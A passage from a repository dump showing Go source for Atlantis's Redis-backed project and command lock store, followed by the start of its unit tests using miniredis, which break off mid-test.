0)\n\t\t\trdb.Del(ctx, oldKey)\n\t\t}\n\t}\n\n\treturn &RedisDB{\n\t\tclient: rdb,\n\t}, nil\n}\n\n// NewWithClient is used for testing.\nfunc NewWithClient(client *redis.Client, _ string, _ string) (*RedisDB, error) {\n\treturn &RedisDB{\n\t\tclient: client,\n\t}, nil\n}\n\n// TryLock attempts to create a new lock. If the lock is\n// acquired, it will return true and the lock returned will be newLock.\n// If the lock is not acquired, it will return false and the current\n// lock that is preventing this lock from being acquired.\nfunc (r *RedisDB) TryLock(newLock models.ProjectLock) (bool, models.ProjectLock, error) {\n\tvar currLock models.ProjectLock\n\tkey := r.lockKey(newLock.Project, newLock.Workspace)\n\tnewLockSerialized, _ := json.Marshal(newLock)\n\n\tval, err := r.client.Get(ctx, key).Result()\n\t// if there is no run at that key then we're free to create the lock\n\tif err == redis.Nil {\n\t\terr := r.client.Set(ctx, key, newLockSerialized, 0).Err()\n\t\tif err != nil {\n\t\t\treturn false, currLock, fmt.Errorf(\"db transaction failed: %w\", err)\n\t\t}\n\t\treturn true, newLock, nil\n\t} else if err != nil {\n\t\t// otherwise the lock fails, return to caller the run that's holding the lock\n\t\treturn false, currLock, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\tif err := json.Unmarshal([]byte(val), &currLock); err != nil {\n\t\treturn false, currLock, fmt.Errorf(\"failed to deserialize current lock: %w\", err)\n\t}\n\treturn false, currLock, nil\n}\n\n// Unlock attempts to unlock the project and workspace.\n// If there is no lock, then it will return a nil pointer.\n// If there is a lock, then it will delete it, and then return a pointer\n// to the deleted lock.\nfunc (r *RedisDB) Unlock(project models.Project, workspace string) (*models.ProjectLock, error) {\n\tvar lock models.ProjectLock\n\tkey := r.lockKey(project, workspace)\n\n\tval, err := r.client.Get(ctx, key).Result()\n\tif err == redis.Nil {\n\t\treturn nil, nil\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\tif err := json.Unmarshal([]byte(val), &lock); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to deserialize current lock: %w\", err)\n\t}\n\tr.client.Del(ctx, key)\n\treturn &lock, nil\n}\n\n// List lists all current locks.\nfunc (r *RedisDB) List() ([]models.ProjectLock, error) {\n\tvar locks []models.ProjectLock\n\titer := r.client.Scan(ctx, 0, \"pr*\", 0).Iterator()\n\tfor iter.Next(ctx) {\n\t\tvar lock models.ProjectLock\n\t\tval, err := r.client.Get(ctx, iter.Val()).Result()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t\t}\n\t\tif err := json.Unmarshal([]byte(val), &lock); err != nil {\n\t\t\treturn locks, fmt.Errorf(\"failed to deserialize lock at key '%s': %w\", iter.Val(), err)\n\t\t}\n\t\tlocks = append(locks, lock)\n\t}\n\tif err := iter.Err(); err != nil {\n\t\treturn locks, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\treturn locks, nil\n}\n\n// GetLock returns a pointer to the lock for that project and workspace.\n// If there is no lock, it returns a nil pointer.\nfunc (r *RedisDB) GetLock(project models.Project, workspace string) (*models.ProjectLock, error) {\n\tkey := r.lockKey(project, workspace)\n\n\tval, err := r.client.Get(ctx, key).Result()\n\tif err == redis.Nil {\n\t\treturn nil, nil\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\tvar lock models.ProjectLock\n\tif err := json.Unmarshal([]byte(val), &lock); err != nil {\n\t\treturn nil, fmt.Errorf(\"deserializing lock at key %q: %w\", key, err)\n\t}\n\t// need to set it to Local after deserialization due to https://github.com/golang/go/issues/19486\n\tlock.Time = lock.Time.Local()\n\treturn &lock, nil\n}\n\n// UnlockByPull deletes all locks associated with that pull request and returns them.\nfunc (r *RedisDB) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) {\n\tvar locks []models.ProjectLock\n\n\titer := r.client.Scan(ctx, 0, fmt.Sprintf(\"pr/%s*\", repoFullName), 0).Iterator()\n\tfor iter.Next(ctx) {\n\t\tvar lock models.ProjectLock\n\t\tval, err := r.client.Get(ctx, iter.Val()).Result()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t\t}\n\t\tif err := json.Unmarshal([]byte(val), &lock); err != nil {\n\t\t\treturn locks, fmt.Errorf(\"failed to deserialize lock at key '%s': %w\", iter.Val(), err)\n\t\t}\n\t\tif lock.Pull.Num == pullNum {\n\t\t\tlocks = append(locks, lock)\n\t\t\tif _, err := r.Unlock(lock.Project, lock.Workspace); err != nil {\n\t\t\t\treturn locks, fmt.Errorf(\"unlocking repo %s, path %s, workspace %s: %w\", lock.Project.RepoFullName, lock.Project.Path, lock.Workspace, err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif err := iter.Err(); err != nil {\n\t\treturn locks, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\treturn locks, nil\n}\n\nfunc (r *RedisDB) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) {\n\n\tlock := command.Lock{\n\t\tCommandName: cmdName,\n\t\tLockMetadata: command.LockMetadata{\n\t\t\tUnixTime: lockTime.Unix(),\n\t\t},\n\t}\n\n\tcmdLockKey := r.commandLockKey(cmdName)\n\n\tnewLockSerialized, _ := json.Marshal(lock)\n\n\t_, err := r.client.Get(ctx, cmdLockKey).Result()\n\tif err == redis.Nil {\n\t\terr = r.client.Set(ctx, cmdLockKey, newLockSerialized, 0).Err()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t\t}\n\t\treturn &lock, nil\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\treturn nil, errors.New(\"db transaction failed: lock already exists\")\n}\n\nfunc (r *RedisDB) UnlockCommand(cmdName command.Name) error {\n\tcmdLockKey := r.commandLockKey(cmdName)\n\t_, err := r.client.Get(ctx, cmdLockKey).Result()\n\tif err == redis.Nil {\n\t\treturn errors.New(\"db transaction failed: no lock exists\")\n\t} else if err != nil {\n\t\treturn fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\treturn r.client.Del(ctx, cmdLockKey).Err()\n\n}\n\nfunc (r *RedisDB) CheckCommandLock(cmdName command.Name) (*command.Lock, error) {\n\tcmdLock := command.Lock{}\n\n\tcmdLockKey := r.commandLockKey(cmdName)\n\tval, err := r.client.Get(ctx, cmdLockKey).Result()\n\tif err == redis.Nil {\n\t\treturn nil, nil\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\tif err := json.Unmarshal([]byte(val), &cmdLock); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to deserialize Lock: %w\", err)\n\t}\n\treturn &cmdLock, err\n}\n\n// UpdateProjectStatus updates pull's status with the latest project results.\n// It returns the new PullStatus object.\nfunc (r *RedisDB) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error {\n\tkey, err := r.pullKey(pull)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcurrStatusPtr, err := r.getPull(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif currStatusPtr == nil {\n\t\treturn nil\n\t}\n\tcurrStatus := *currStatusPtr\n\n\t// Update the status.\n\tfor i := range currStatus.Projects {\n\t\t// NOTE: We're using a reference here because we are\n\t\t// in-place updating its Status field.\n\t\tproj := &currStatus.Projects[i]\n\t\tif proj.Workspace == workspace && proj.RepoRelDir == repoRelDir {\n\t\t\tproj.Status = newStatus\n\t\t\tbreak\n\t\t}\n\t}\n\n\terr = r.writePull(key, currStatus)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc (r *RedisDB) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) {\n\tkey, err := r.pullKey(pull)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpullStatus, err := r.getPull(key)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\treturn pullStatus, nil\n}\n\nfunc (r *RedisDB) DeletePullStatus(pull models.PullRequest) error {\n\tkey, err := r.pullKey(pull)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = r.deletePull(key)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc (r *RedisDB) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) {\n\tkey, err := r.pullKey(pull)\n\tif err != nil {\n\t\treturn models.PullStatus{}, err\n\t}\n\n\tvar newStatus models.PullStatus\n\tcurrStatus, err := r.getPull(key)\n\tif err != nil {\n\t\treturn newStatus, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\t// If there is no pull OR if the pull we have is out of date, we\n\t// just write a new pull.\n\tif currStatus == nil || currStatus.Pull.HeadCommit != pull.HeadCommit {\n\t\tvar statuses []models.ProjectStatus\n\t\tfor _, res := range newResults {\n\t\t\tstatuses = append(statuses, r.projectResultToProject(res))\n\t\t}\n\t\tnewStatus = models.PullStatus{\n\t\t\tPull:     pull,\n\t\t\tProjects: statuses,\n\t\t}\n\t} else {\n\t\t// If there's an existing pull at the right commit then we have to\n\t\t// merge our project results with the existing ones. We do a merge\n\t\t// because it's possible a user is just applying a single project\n\t\t// in this command and so we don't want to delete our data about\n\t\t// other projects that aren't affected by this command.\n\t\tnewStatus = *currStatus\n\t\tfor _, res := range newResults {\n\t\t\t// First, check if we should update any existing projects.\n\t\t\tupdatedExisting := false\n\t\t\tfor i := range newStatus.Projects {\n\t\t\t\t// NOTE: We're using a reference here because we are\n\t\t\t\t// in-place updating its Status field.\n\t\t\t\tproj := &newStatus.Projects[i]\n\t\t\t\tif res.Workspace == proj.Workspace &&\n\t\t\t\t\tres.RepoRelDir == proj.RepoRelDir &&\n\t\t\t\t\tres.ProjectName == proj.ProjectName {\n\n\t\t\t\t\tproj.Status = res.PlanStatus()\n\n\t\t\t\t\t// Updating only policy sets which are included in results; keeping the rest.\n\t\t\t\t\tif len(proj.PolicyStatus) > 0 {\n\t\t\t\t\t\tfor i, oldPolicySet := range proj.PolicyStatus {\n\t\t\t\t\t\t\tfor _, newPolicySet := range res.PolicyStatus() {\n\t\t\t\t\t\t\t\tif oldPolicySet.PolicySetName == newPolicySet.PolicySetName {\n\t\t\t\t\t\t\t\t\tproj.PolicyStatus[i] = newPolicySet\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tproj.PolicyStatus = res.PolicyStatus()\n\t\t\t\t\t}\n\n\t\t\t\t\tupdatedExisting = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !updatedExisting {\n\t\t\t\t// If we didn't update an existing project, then we need to\n\t\t\t\t// add this because it's a new one.\n\t\t\t\tnewStatus.Projects = append(newStatus.Projects, r.projectResultToProject(res))\n\t\t\t}\n\t\t}\n\t}\n\n\t// Now, we overwrite the key with our new status.\n\terr = r.writePull(key, newStatus)\n\tif err != nil {\n\t\treturn models.PullStatus{}, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\treturn newStatus, nil\n}\n\nfunc (r *RedisDB) getPull(key string) (*models.PullStatus, error) {\n\tval, err := r.client.Get(ctx, key).Result()\n\tif err == redis.Nil {\n\t\treturn nil, nil\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"db transaction failed: %w\", err)\n\t}\n\n\tvar p models.PullStatus\n\tif err := json.Unmarshal([]byte(val), &p); err != nil {\n\t\treturn nil, fmt.Errorf(\"deserializing pull at %q with contents %q: %w\", key, val, err)\n\t}\n\treturn &p, nil\n}\n\nfunc (r *RedisDB) writePull(key string, pull models.PullStatus) error {\n\tserialized, err := json.Marshal(pull)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"serializing: %w\", err)\n\t}\n\terr = r.client.Set(ctx, key, serialized, 0).Err()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"DB Transaction failed: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc (r *RedisDB) deletePull(key string) error {\n\terr := r.client.Del(ctx, key).Err()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"DB Transaction failed: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc (r *RedisDB) lockKey(p models.Project, workspace string) string {\n\treturn fmt.Sprintf(\"pr/%s\", models.GenerateLockKey(p, workspace))\n}\n\nfunc (r *RedisDB) commandLockKey(cmdName command.Name) string {\n\treturn fmt.Sprintf(\"global/%s/lock\", cmdName)\n}\n\nfunc (r *RedisDB) pullKey(pull models.PullRequest) (string, error) {\n\thostname := pull.BaseRepo.VCSHost.Hostname\n\tif strings.Contains(hostname, pullKeySeparator) {\n\t\treturn \"\", fmt.Errorf(\"vcs hostname %q contains illegal string %q\", hostname, pullKeySeparator)\n\t}\n\trepo := pull.BaseRepo.FullName\n\tif strings.Contains(repo, pullKeySeparator) {\n\t\treturn \"\", fmt.Errorf(\"repo name %q contains illegal string %q\", hostname, pullKeySeparator)\n\t}\n\n\treturn fmt.Sprintf(\"%s::%s::%d\", hostname, repo, pull.Num), nil\n}\n\nfunc (r *RedisDB) projectResultToProject(p command.ProjectResult) models.ProjectStatus {\n\treturn models.ProjectStatus{\n\t\tWorkspace:    p.Workspace,\n\t\tRepoRelDir:   p.RepoRelDir,\n\t\tProjectName:  p.ProjectName,\n\t\tPolicyStatus: p.PolicyStatus(),\n\t\tStatus:       p.PlanStatus(),\n\t}\n}\n\nfunc (r *RedisDB) Close() error {\n\treturn r.client.Close()\n}\n"
  },
  {
    "path": "server/core/redis/redis_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage redis_test\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/json\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"net\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/alicebob/miniredis/v2\"\n\t\"github.com/pkg/errors\"\n\tredisLib \"github.com/redis/go-redis/v9\"\n\t\"github.com/runatlantis/atlantis/server/core/redis\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar project = models.NewProject(\"owner/repo\", \"parent/child\", \"\")\nvar workspace = \"default\"\nvar pullNum = 1\nvar lock = models.ProjectLock{\n\tPull: models.PullRequest{\n\t\tNum: pullNum,\n\t},\n\tUser: models.User{\n\t\tUsername: \"lkysow\",\n\t},\n\tWorkspace: workspace,\n\tProject:   project,\n\tTime:      time.Now(),\n}\n\nvar (\n\tcert   tls.Certificate\n\tcaPath string\n)\n\nfunc TestRedisWithTLS(t *testing.T) {\n\tt.Log(\"connecting to redis over TLS\")\n\n\t// Setup the Miniredis Server for TLS\n\tcertBytes, keyBytes, err := generateLocalhostCert()\n\tOk(t, err)\n\tcertOut := new(bytes.Buffer)\n\terr = pem.Encode(certOut, &pem.Block{Type: \"CERTIFICATE\", Bytes: certBytes})\n\tOk(t, err)\n\tcertData := certOut.Bytes()\n\tkeyOut := new(bytes.Buffer)\n\terr = pem.Encode(keyOut, &pem.Block{Type: \"PRIVATE KEY\", Bytes: keyBytes})\n\tOk(t, err)\n\tcert, err = tls.X509KeyPair(certData, keyOut.Bytes())\n\tOk(t, err)\n\tcertFile, err := os.CreateTemp(\"\", \"cert.*.pem\")\n\tOk(t, err)\n\tcaPath = certFile.Name()\n\t_, err = certFile.Write(certData)\n\tOk(t, err)\n\tdefer certFile.Close()\n\ttlsConfig := &tls.Config{\n\t\tCertificates:       []tls.Certificate{cert},\n\t\tInsecureSkipVerify: true, //nolint:gosec // This is purely for testing\n\t}\n\n\t// Start Server and Connect\n\ts := miniredis.NewMiniRedis()\n\tif err := s.StartTLS(tlsConfig); err != nil {\n\t\tt.Fatalf(\"could not start miniredis: %s\", err)\n\t\t// not reached\n\t}\n\tt.Cleanup(s.Close)\n\t_ = newTestRedisTLS(s)\n}\n\nfunc TestLockCommandNotSet(t *testing.T) {\n\tt.Log(\"retrieving apply lock when there are none should return empty LockCommand\")\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\texists, err := r.CheckCommandLock(command.Apply)\n\tOk(t, err)\n\tAssert(t, exists == nil, \"exp nil\")\n}\n\nfunc TestLockCommandEnabled(t *testing.T) {\n\tt.Log(\"setting the apply lock\")\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\ttimeNow := time.Now()\n\t_, err := r.LockCommand(command.Apply, timeNow)\n\tOk(t, err)\n\n\tconfig, err := r.CheckCommandLock(command.Apply)\n\tOk(t, err)\n\tEquals(t, true, config.IsLocked())\n}\n\nfunc TestLockCommandFail(t *testing.T) {\n\tt.Log(\"setting the apply lock\")\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\ttimeNow := time.Now()\n\t_, err := r.LockCommand(command.Apply, timeNow)\n\tOk(t, err)\n\n\t_, err = r.LockCommand(command.Apply, timeNow)\n\tErrEquals(t, \"db transaction failed: lock already exists\", err)\n}\n\nfunc TestUnlockCommandDisabled(t *testing.T) {\n\tt.Log(\"unsetting the apply lock\")\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\ttimeNow := time.Now()\n\t_, err := r.LockCommand(command.Apply, timeNow)\n\tOk(t, err)\n\n\tconfig, err := r.CheckCommandLock(command.Apply)\n\tOk(t, err)\n\tEquals(t, true, config.IsLocked())\n\n\terr = r.UnlockCommand(command.Apply)\n\tOk(t, err)\n\n\tconfig, err = r.CheckCommandLock(command.Apply)\n\tOk(t, err)\n\tAssert(t, config == nil, \"exp nil object\")\n}\n\nfunc TestUnlockCommandFail(t *testing.T) {\n\tt.Log(\"setting the apply lock\")\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\terr := r.UnlockCommand(command.Apply)\n\tErrEquals(t, \"db transaction failed: no lock exists\", err)\n}\n\nfunc TestMigrationOldLockKeysToNewFormat(t *testing.T) {\n\tt.Log(\"migration should convert old format keys to new format with project name\")\n\n\ts := miniredis.RunT(t)\n\n\t// Create a direct redis client to set up old format locks\n\tclient := redisLib.NewClient(&redisLib.Options{\n\t\tAddr: s.Addr(),\n\t})\n\tdefer client.Close()\n\n\t// Create a lock in old format: {repoFullName}/{path}/{workspace}\n\toldKey := \"pr/owner/repo/path/default\"\n\toldProject := models.NewProject(\"owner/repo\", \"path\", \"myproject\")\n\toldLock := models.ProjectLock{\n\t\tPull:      models.PullRequest{Num: 1},\n\t\tUser:      models.User{Username: \"testuser\"},\n\t\tWorkspace: \"default\",\n\t\tProject:   oldProject,\n\t\tTime:      time.Now(),\n\t}\n\n\toldLockSerialized, err := json.Marshal(oldLock)\n\tOk(t, err)\n\n\t// Insert old format lock directly\n\terr = client.Set(context.Background(), oldKey, oldLockSerialized, 0).Err()\n\tOk(t, err)\n\n\t// Verify old key exists before migration\n\tval, err := client.Get(context.Background(), oldKey).Result()\n\tOk(t, err)\n\tAssert(t, val != \"\", \"old key should exist before migration\")\n\n\t// Now create a new Redis instance which should trigger the migration\n\tr, err := redis.New(s.Host(), s.Server().Addr().Port, \"\", false, false, 0)\n\tOk(t, err)\n\n\t// Verify the old key no longer exists\n\t_, err = client.Get(context.Background(), oldKey).Result()\n\tAssert(t, err != nil, \"old key should be deleted after migration\")\n\n\t// Verify the new key exists with correct format\n\tretrievedLock, err := r.GetLock(oldProject, \"default\")\n\tOk(t, err)\n\tAssert(t, retrievedLock != nil, \"lock should exist with new key format\")\n\tEquals(t, \"owner/repo\", retrievedLock.Project.RepoFullName)\n\tEquals(t, \"path\", retrievedLock.Project.Path)\n\tEquals(t, \"myproject\", retrievedLock.Project.ProjectName)\n\tEquals(t, \"default\", retrievedLock.Workspace)\n\tEquals(t, \"testuser\", retrievedLock.User.Username)\n}\n\nfunc TestNoMigrationNeededForNewFormatKeys(t *testing.T) {\n\tt.Log(\"migration should not affect keys already in new format\")\n\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\n\t// Create a lock with the new format (includes project name)\n\tprojectWithName := models.NewProject(\"owner/repo\", \"path\", \"projectName\")\n\tnewLock := models.ProjectLock{\n\t\tPull:      models.PullRequest{Num: 1},\n\t\tUser:      models.User{Username: \"testuser\"},\n\t\tWorkspace: \"default\",\n\t\tProject:   projectWithName,\n\t\tTime:      time.Now(),\n\t}\n\n\t// Try to lock using the new format\n\tacquired, _, err := r.TryLock(newLock)\n\tOk(t, err)\n\tAssert(t, acquired, \"should acquire lock\")\n\n\t// Verify the lock was created and can be retrieved with the correct key format\n\tretrievedLock, err := r.GetLock(projectWithName, \"default\")\n\tOk(t, err)\n\tAssert(t, retrievedLock != nil, \"lock should exist\")\n\tEquals(t, \"projectName\", retrievedLock.Project.ProjectName)\n\tEquals(t, \"testuser\", retrievedLock.User.Username)\n\n\t// Close the current Redis connection and create a new one\n\t// This simulates a restart which would trigger the migration logic\n\tr.Close()\n\tr = newTestRedis(s)\n\tdefer r.Close()\n\t// Verify lock still exists after \"migration\"\n\tretrievedLock, err = r.GetLock(projectWithName, \"default\")\n\tOk(t, err)\n\tAssert(t, retrievedLock != nil, \"lock should exist\")\n\tEquals(t, \"projectName\", retrievedLock.Project.ProjectName)\n\tEquals(t, \"testuser\", retrievedLock.User.Username)\n\n}\n\nfunc TestMixedLocksPresent(t *testing.T) {\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\ttimeNow := time.Now()\n\t_, err := r.LockCommand(command.Apply, timeNow)\n\tOk(t, err)\n\n\t_, _, err = r.TryLock(lock)\n\tOk(t, err)\n\n\tls, err := r.List()\n\tOk(t, err)\n\tEquals(t, 1, len(ls))\n}\n\nfunc TestListNoLocks(t *testing.T) {\n\tt.Log(\"listing locks when there are none should return an empty list\")\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\tls, err := r.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestListOneLock(t *testing.T) {\n\tt.Log(\"listing locks when there is one should return it\")\n\ts := miniredis.RunT(t)\n\tr := newTestRedis(s)\n\t_, _, err := r.TryLock(lock)\n\tOk(t, err)\n\tls, err := r.List()\n\tOk(t, err)\n\tEquals(t, 1, len(ls))\n}\n\nfunc TestListMultipleLocks(t *testing.T) {\n\tt.Log(\"listing locks when there are multiple should return them\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\t// add multiple locks\n\trepos := []string{\n\t\t\"owner/repo1\",\n\t\t\"owner/repo2\",\n\t\t\"owner/repo3\",\n\t\t\"owner/repo4\",\n\t}\n\n\tfor _, r := range repos {\n\t\tnewLock := lock\n\t\tnewLock.Project = models.NewProject(r, \"path\", \"\")\n\t\t_, _, err := rdb.TryLock(newLock)\n\t\tOk(t, err)\n\t}\n\tls, err := rdb.List()\n\tOk(t, err)\n\tEquals(t, 4, len(ls))\n\tfor _, r := range repos {\n\t\tfound := false\n\t\tfor _, l := range ls {\n\t\t\tif l.Project.RepoFullName == r {\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\t\tAssert(t, found, \"expected %s in %v\", r, ls)\n\t}\n}\n\nfunc TestListAddRemove(t *testing.T) {\n\tt.Log(\"listing after adding and removing should return none\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\t_, _, err := rdb.TryLock(lock)\n\tOk(t, err)\n\t_, err = rdb.Unlock(project, workspace)\n\tOk(t, err)\n\n\tls, err := rdb.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestLockingNoLocks(t *testing.T) {\n\tt.Log(\"with no locks yet, lock should succeed\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\tacquired, currLock, err := rdb.TryLock(lock)\n\tOk(t, err)\n\tEquals(t, true, acquired)\n\tEquals(t, lock, currLock)\n}\n\nfunc TestLockingExistingLock(t *testing.T) {\n\tt.Log(\"if there is an existing lock, lock should...\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\t_, _, err := rdb.TryLock(lock)\n\tOk(t, err)\n\n\tt.Log(\"...succeed if the new project has a different path\")\n\t{\n\t\tnewLock := lock\n\t\tnewLock.Project = models.NewProject(project.RepoFullName, \"different/path\", \"\")\n\t\tacquired, currLock, err := rdb.TryLock(newLock)\n\t\tOk(t, err)\n\t\tEquals(t, true, acquired)\n\t\tEquals(t, pullNum, currLock.Pull.Num)\n\t}\n\n\tt.Log(\"...succeed if the new project has a different workspace\")\n\t{\n\t\tnewLock := lock\n\t\tnewLock.Workspace = \"different-workspace\"\n\t\tacquired, currLock, err := rdb.TryLock(newLock)\n\t\tOk(t, err)\n\t\tEquals(t, true, acquired)\n\t\tEquals(t, newLock, currLock)\n\t}\n\n\tt.Log(\"...succeed if the new project has a different repoName\")\n\t{\n\t\tnewLock := lock\n\t\tnewLock.Project = models.NewProject(\"different/repo\", project.Path, \"\")\n\t\tacquired, currLock, err := rdb.TryLock(newLock)\n\t\tOk(t, err)\n\t\tEquals(t, true, acquired)\n\t\tEquals(t, newLock, currLock)\n\t}\n\n\t// TODO: How should we handle different name?\n\t/*\n\t\tt.Log(\"...succeed if the new project has a different name\")\n\t\t{\n\t\t\tnewLock := lock\n\t\t\tnewLock.Project = models.NewProject(project.RepoFullName, project.Path, \"different-name\")\n\t\t\tacquired, currLock, err := rdb.TryLock(newLock)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, true, acquired)\n\t\t\tEquals(t, newLock, currLock)\n\t\t}\n\t*/\n\n\tt.Log(\"...not succeed if the new project only has a different pullNum\")\n\t{\n\t\tnewLock := lock\n\t\tnewLock.Pull.Num = lock.Pull.Num + 1\n\t\tacquired, currLock, err := rdb.TryLock(newLock)\n\t\tOk(t, err)\n\t\tEquals(t, false, acquired)\n\t\tEquals(t, currLock.Pull.Num, pullNum)\n\t}\n}\n\nfunc TestUnlockingNoLocks(t *testing.T) {\n\tt.Log(\"unlocking with no locks should succeed\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\t_, err := rdb.Unlock(project, workspace)\n\n\tOk(t, err)\n}\n\nfunc TestUnlocking(t *testing.T) {\n\tt.Log(\"unlocking with an existing lock should succeed\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\t_, _, err := rdb.TryLock(lock)\n\tOk(t, err)\n\t_, err = rdb.Unlock(project, workspace)\n\tOk(t, err)\n\n\t// should be no locks listed\n\tls, err := rdb.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n\n\t// should be able to re-lock that repo with a new pull num\n\tnewLock := lock\n\tnewLock.Pull.Num = lock.Pull.Num + 1\n\tacquired, currLock, err := rdb.TryLock(newLock)\n\tOk(t, err)\n\tEquals(t, true, acquired)\n\tEquals(t, newLock, currLock)\n}\n\nfunc TestUnlockingMultiple(t *testing.T) {\n\tt.Log(\"unlocking and locking multiple locks should succeed\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\t_, _, err := rdb.TryLock(lock)\n\tOk(t, err)\n\n\tnew1 := lock\n\tnew1.Project.RepoFullName = \"new/repo\"\n\t_, _, err = rdb.TryLock(new1)\n\tOk(t, err)\n\n\tnew2 := lock\n\tnew2.Project.Path = \"new/path\"\n\t_, _, err = rdb.TryLock(new2)\n\tOk(t, err)\n\n\tnew3 := lock\n\tnew3.Workspace = \"new-workspace\"\n\t_, _, err = rdb.TryLock(new3)\n\tOk(t, err)\n\n\t// now try and unlock them\n\t_, err = rdb.Unlock(new3.Project, new3.Workspace)\n\tOk(t, err)\n\t_, err = rdb.Unlock(new2.Project, workspace)\n\tOk(t, err)\n\t_, err = rdb.Unlock(new1.Project, workspace)\n\tOk(t, err)\n\t_, err = rdb.Unlock(project, workspace)\n\tOk(t, err)\n\n\t// should be none left\n\tls, err := rdb.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestUnlockByPullNone(t *testing.T) {\n\tt.Log(\"UnlockByPull should be successful when there are no locks\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\t_, err := rdb.UnlockByPull(\"any/repo\", 1)\n\tOk(t, err)\n}\n\nfunc TestUnlockByPullOne(t *testing.T) {\n\tt.Log(\"with one lock, UnlockByPull should...\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\t_, _, err := rdb.TryLock(lock)\n\tOk(t, err)\n\n\tt.Log(\"...delete nothing when its the same repo but a different pull\")\n\t{\n\t\t_, err := rdb.UnlockByPull(project.RepoFullName, pullNum+1)\n\t\tOk(t, err)\n\t\tls, err := rdb.List()\n\t\tOk(t, err)\n\t\tEquals(t, 1, len(ls))\n\t}\n\tt.Log(\"...delete nothing when its the same pull but a different repo\")\n\t{\n\t\t_, err := rdb.UnlockByPull(\"different/repo\", pullNum)\n\t\tOk(t, err)\n\t\tls, err := rdb.List()\n\t\tOk(t, err)\n\t\tEquals(t, 1, len(ls))\n\t}\n\tt.Log(\"...delete the lock when its the same repo and pull\")\n\t{\n\t\t_, err := rdb.UnlockByPull(project.RepoFullName, pullNum)\n\t\tOk(t, err)\n\t\tls, err := rdb.List()\n\t\tOk(t, 